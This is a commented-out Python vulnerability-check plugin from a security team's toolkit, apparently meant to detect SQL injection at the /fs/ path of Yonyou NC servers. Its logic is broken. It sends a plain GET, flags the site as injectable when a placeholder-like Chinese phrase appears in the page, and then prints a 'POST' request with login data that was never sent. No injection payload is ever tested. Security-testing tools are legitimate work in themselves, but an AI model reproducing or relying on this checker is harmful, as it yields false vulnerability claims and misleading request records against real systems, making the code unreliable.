# '''
# Function:
#     yonyounc_fs_sqli
# Author:
#     spmonkey，夜梓月
# Wechat official account：
#     中龙 红客突击队
# Official website：
#     https://www.hscsec.cn/
# Email：
#     spmonkey@hscsec.cn
# Blog:
#     https://spmonkey.github.io/
# GitHub:
#     https://github.com/spmonkey/
# '''
# # -*- coding: utf-8 -*-
# import requests
# from urllib.parse import urlparse
# from requests.packages.urllib3 import disable_warnings
# disable_warnings()
#
#
# class poc:
#     def __init__(self, url, proxies):
#         self.url = url
#         self.headers = {
#             'User-Agent': 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)',
#         }
#         self.value_list = []
#         self.result_text = ""
#         self.proxies = proxies
#
#     def host(self):
#         url = urlparse(self.url)
#         netloc = url.netloc
#         scheme = url.scheme
#         return scheme, netloc
#
#     def vuln(self, netloc, scheme):
#         url = "{}://{}/fs/".format(scheme, netloc)
#         data = {
#             "user": "123",
#             "passwd": "123"
#         }
#         try:
#             result = requests.get(url=url, headers=self.headers, verify=False, timeout=3, proxies=self.proxies)
#             if "页面存在相关内容" in result.text:
#                 target = urlparse(url)
#                 self.result_text += """\n        [+]    \033[32m检测到目标站点存在sql注入漏洞\033[0m
#                  POST {} HTTP/1.1
#                  Host: {}""".format(target.path, target.netloc)
#                 for request_type, request_text in dict(result.request.headers).items():
#                     self.result_text += "\n                 {}: {}".format(request_type, request_text)
#                 for param, value in data.items():
#                     values = param + "=" + value
#                     self.value_list.append(values)
#                 self.result_text += "\n\n                 {}".format("&".join(self.value_list))
#                 return True
#             else:
#                 return False
#         except:
#             return False
#
#     def main(self):
#         all = self.host()
#         scheme = all[0]
#         netloc = all[1]
#         if self.vuln(netloc, scheme):
#              return self.result_text
#         else:
#             return False